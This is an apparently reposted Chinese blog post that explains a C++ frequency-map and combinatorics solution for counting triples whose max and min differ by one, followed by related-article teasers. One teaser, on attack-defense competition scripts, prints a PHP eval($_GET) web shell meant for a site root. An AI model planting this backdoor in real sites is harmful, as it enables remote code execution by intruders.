合法三元数量计算

问题描述

小C、小U 和小R 三个好朋友喜欢做一些数字谜题。这次他们遇到一个问题,给定一个长度为n的数组a,他们想要找出符合特定条件的三元组 (i, j, k)。具体来说,三元组要满足 0 <= i < j < k < n,并且 max(a[i], a[j], a[k]) - min(a[i], a[j], a[k]) = 1,也就是说,最大值与最小值之差必须为1。
他们决定请你帮忙编写一个程序,计算符合这个条件的三元组数量。


测试样例

样例1:

输入:a = [2, 2, 3, 1]
输出:2

样例2:

输入:a = [1, 3, 2, 2, 1]
输出:5

样例3:

输入:a = [1, 3, 2, 2, 1, 2]
输出:12

问题理解

我们需要找出数组 a 中所有满足以下条件的三元组 (i, j, k)

  1. 0 <= i < j < k < n
  2. max(a[i], a[j], a[k]) - min(a[i], a[j], a[k]) = 1

这意味着三元组中的三个元素必须满足最大值和最小值之差为1。

数据结构选择

为了高效地解决这个问题,我们可以考虑使用哈希表(或字典)来记录每个元素的出现次数。这样可以帮助我们快速计算符合条件的三元组数量。

算法步骤

  1. 统计元素频率:首先遍历数组,统计每个元素的出现次数。
  2. 计算三元组数量
    • 对于每个元素 x,检查是否存在 x+1 和 x-1 的元素。
    • 如果存在,计算以 x 为中心的三元组数量。

具体步骤

  1. 统计频率:使用一个哈希表 freq 记录每个元素的出现次数。
  2. 计算三元组
    • 遍历哈希表中的每个元素 x,检查 x+1 和 x-1 是否存在。
    • 如果存在,计算以 x 为中心的三元组数量。

代码实现

#include <iostream>
#include <vector>
#include <unordered_map>using namespace std;long long solution(vector<int> a) {// 统计元素频率unordered_map<int, int> freq;for (int num : a) {freq[num]++;}long long count = 0;// 计算三元组数量for (auto& [num, f] : freq) {// 检查 num+1 是否存在if (freq.count(num + 1)) {// 计算以 num 为中心的三元组数量// 这里需要计算组合数,具体公式为 C(f, 2) * freq[num + 1]// 其中 C(f, 2) 表示从 f 个元素中选 2 个的组合数count += (long long)f * (f - 1) / 2 * freq[num + 1];}// 检查 num-1 是否存在if (freq.count(num - 1)) {// 计算以 num 为中心的三元组数量// 这里需要计算组合数,具体公式为 C(f, 2) * freq[num - 1]count += (long long)f * (f - 1) / 2 * freq[num - 1];}}return count;
}int main() {vector<int> a1 = {2, 2, 3, 1};vector<int> a2 = {1, 3, 2, 2, 1};vector<int> a3 = {1, 3, 2, 2, 1, 2};cout << (solution(a1) == 2) << endl;cout << (solution(a2) == 5) << endl;cout << (solution(a3) == 12) << endl;return 0;
}

心得体会

1. 组合数学的应用

在计算三元组数量时,我们需要计算组合数。具体来说,对于每个元素 x,我们需要计算从 x 的频率中选择两个元素的组合数 C(f, 2),其中 f 是 x 的出现次数。这个组合数的计算公式为:

这个公式在计算三元组数量时非常有用,因为它帮助我们快速计算出以 x 为中心的三元组数量。

2. 哈希表的高效性

使用哈希表(unordered_map)来统计元素频率是一个非常高效的方法。哈希表可以在平均 O(1) 的时间内完成插入和查找操作,这使得我们能够快速地统计每个元素的出现次数,并在后续计算中快速查找相邻元素的频率。

3. 边界条件的处理

在计算三元组数量时,我们需要特别注意边界条件。例如,当 x 的频率为1时,C(f, 2) 的值为0,这意味着以 x 为中心的三元组数量为0。此外,我们还需要确保 x+1 和 x-1 在哈希表中存在,否则计算结果会出错。

4. 时间复杂度的优化

通过使用哈希表和组合数学公式,我们能够将时间复杂度优化到 O(n),其中 n 是数组的长度。这种优化在处理大规模数据时尤为重要,因为它避免了嵌套循环带来的高时间复杂度。

5. 代码的可读性和维护性

在编写代码时,保持代码的可读性和维护性非常重要。通过使用清晰的变量命名和注释,我们可以使代码更易于理解和维护。此外,将逻辑分解为多个小步骤,也有助于提高代码的可读性。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/61646.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【AI系统】GPU 架构回顾(从2018年-2024年)

Turing 架构 2018 年 Turing 图灵架构发布&#xff0c;采用 TSMC 12 nm 工艺&#xff0c;总共 18.6 亿个晶体管。在 PC 游戏、专业图形应用程序和深度学习推理方面&#xff0c;效率和性能都取得了重大进步。相比上一代 Volta 架构主要更新了 Tensor Core&#xff08;专门为执行…

【高阶数据结构】图论

> 作者&#xff1a;დ旧言~ > 座右铭&#xff1a;松树千年终是朽&#xff0c;槿花一日自为荣。 > 目标&#xff1a;了解什么是图&#xff0c;并能掌握深度优先遍历和广度优先遍历。 > 毒鸡汤&#xff1a;有些事情&#xff0c;总是不明白&#xff0c;所以我不会坚持…

日期(练习)

<!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title></title> </head> <body></body> <script>// 定义一个函数&#xff0c;实现格式化日期对象&#xff0c;返回yyyy-MM-dd…

【IDEA】解决总是自动导入全部类(.*)问题

文章目录 问题描述解决方法 我是一名立志把细节说清楚的博主&#xff0c;欢迎【关注】&#x1f389; ~ 原创不易&#xff0c; 如果有帮助 &#xff0c;记得【点赞】【收藏】 哦~ ❥(^_-)~ 如有错误、疑惑&#xff0c;欢迎【评论】指正探讨&#xff0c;我会尽可能第一时间回复…

企业使用知识管理工具与技术的好处(举例说明)

我们都知道“知识就是力量”这句老话&#xff0c;无论是在工作还是个人生活中&#xff0c;我们每一天都越来越认识到这句话的真谛。近年来&#xff0c;不可否认的是&#xff0c;全球范围内我们都在某种程度上缺乏对于许多企业和大型公司至关重要的高端技术技能。 当然&#xf…

机器学习系列-决策树

文章目录 1. 决策树原理决策树的构建流程 2. 案例步骤 1&#xff1a;计算当前节点的熵步骤 2&#xff1a;对每个特征计算分裂后的熵(1) 按“天气”分裂数据集(2) 计算分裂后的加权熵 步骤 3&#xff1a;计算分裂依据信息增益信息增益率GINI系数&#xff08;二叉树&#xff09; …

resnet50,clip,Faiss+Flask简易图文搜索服务

一、实现 文件夹目录结构&#xff1a; templates -----upload.html faiss_app.py 前端代码&#xff1a; <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widt…

爬虫重定向问题解决

一&#xff0c;问题 做爬虫时会遇到强制重定向的链接&#xff0c;此时可以手动获取重定向后的链接 如下图情况 第二个链接是目标要抓取的&#xff0c;但它是第一个链接重定向过去的&#xff0c;第一个链接接口状态也是302 二&#xff0c;解决方法 请求第一个链接&#xff0c…

一个小的可编辑表格问题引起的思考

11.21工作中遇到的问题 预期&#xff1a;当每行获取红包金额的时候若出现错误&#xff0c;右侧当行会出现提示 结果&#xff1a;获取红包金额出现错误&#xff0c;右侧对应行并没有出现错误提示 我发现&#xff0c;当我们设置readonly的时候&#xff0c;其实render函数依旧是…

高效集成:金蝶盘亏单数据对接管易云

金蝶盘亏单数据集成到管易云的技术实现 在企业日常运营中&#xff0c;数据的高效流转和准确对接是确保业务顺利进行的关键。本文将聚焦于一个具体的系统对接集成案例&#xff1a;如何将金蝶云星空中的盘亏单数据无缝集成到管易云的其他出库模块。 为了实现这一目标&#xff0…

神经网络问题之一:梯度消失(Vanishing Gradient)

梯度消失&#xff08;Vanishing Gradient&#xff09;问题是深度神经网络训练中的一个关键问题&#xff0c;它主要发生在反向传播过程中&#xff0c;导致靠近输入层的权重更新变得非常缓慢甚至几乎停滞&#xff0c;严重影响网络的训练效果和性能。 图1 在深度神经网络中容易出现…

单神经元 PID 解耦控制

单神经元 PID 解耦控制是一种将单神经元自适应控制与解耦控制相结合的方法&#xff0c;适用于多输入多输出&#xff08;MIMO&#xff09;系统。其核心是利用单神经元的自适应能力实现 PID 参数在线调整&#xff0c;同时通过解耦策略减少变量之间的相互影响&#xff0c;提高控制…

数据库类型介绍

1. 关系型数据库&#xff08;Relational Database, RDBMS&#xff09;&#xff1a; • 定义&#xff1a;基于关系模型&#xff08;即表格&#xff09;存储数据&#xff0c;数据之间通过外键等关系相互关联。 • 特点&#xff1a;支持复杂的SQL查询&#xff0c;数据一致性和完整…

线性回归 - 最小二乘法

线性回归 一 简单的线性回归应用 webrtc中的音视频同步。Sender Report数据包 NTP Timestamp&#xff08;网络时间协议时间戳&#xff09;&#xff1a;这是一个64位的时间戳&#xff0c;记录着发送SR的NTP时间戳&#xff0c;用于同步不同源之间的时间。RTP Timestamp&#xff1…

AWD脚本编写_1

AWD脚本编写_1 shell.php&#xff08;放在网站根目录下&#xff09; <?php error_reporting(0); eval($_GET["yanxiao"]); ?>脚本编写成功 后门文件利用与解析 import requests import base64def get_flag(url, flag_url, method, passwd, flag_path):cmd…

Linux环境基础开发工具的使用(yum、vim、gcc、g++、gdb、make/Makefile)

目录 Linux软件包管理器 - yum Linux下安装软件包的方式 认识yum 查找软件包 安装软件 如何实现本地机器和云服务器之间的文件互传 卸载软件 Linux编辑器 - vim vim的基本概念 vim下各模式的切换 批量化注释 vim的简单配置 Linux编译器 - gcc/g gcc/g的作用 gcc/g语…

IDEA如何设置编码格式,字符编码,全局编码和项目编码格式

前言 大家好&#xff0c;我是小徐啊。我们在开发Java项目&#xff08;Springboot&#xff09;的时候&#xff0c;一般都是会设置好对应的编码格式的。如果设置的不恰当&#xff0c;容易造成乱码的问题&#xff0c;这是要避免的。今天&#xff0c;小徐就来介绍下我们如何在IDEA…

【Redis】实现点赞功能

一、实现笔记点赞 使用redis实现点赞功能&#xff0c;对于一个笔记来说&#xff0c;不同用户只能是点赞和没点赞&#xff0c;点赞过的笔记再点击就应该取消点赞&#xff0c;所以实际上根据需求&#xff0c;我们只需要将点赞的数据存到对应的笔记里&#xff0c;查看对应的笔记相…

InstantStyle容器构建指南

一、介绍 InstantStyle 是一个由小红书的 InstantX 团队开发并推出的图像风格迁移框架&#xff0c;它专注于解决图像生成中的风格化问题&#xff0c;旨在生成与参考图像风格一致的图像。以下是关于 InstantStyle 的详细介绍&#xff1a; 1.技术特点 风格与内容的有效分离 &a…

Redisson学习教程(B站诸葛)

弱智级别 package org.example.controller;public class IndexController {Autowiredprivate Redisson redisson;Autowiredprivate StringRedisTemplate stringRedisTemplate;RequestMapping("/deduct_storck")public String deductStock() {String lockKey "…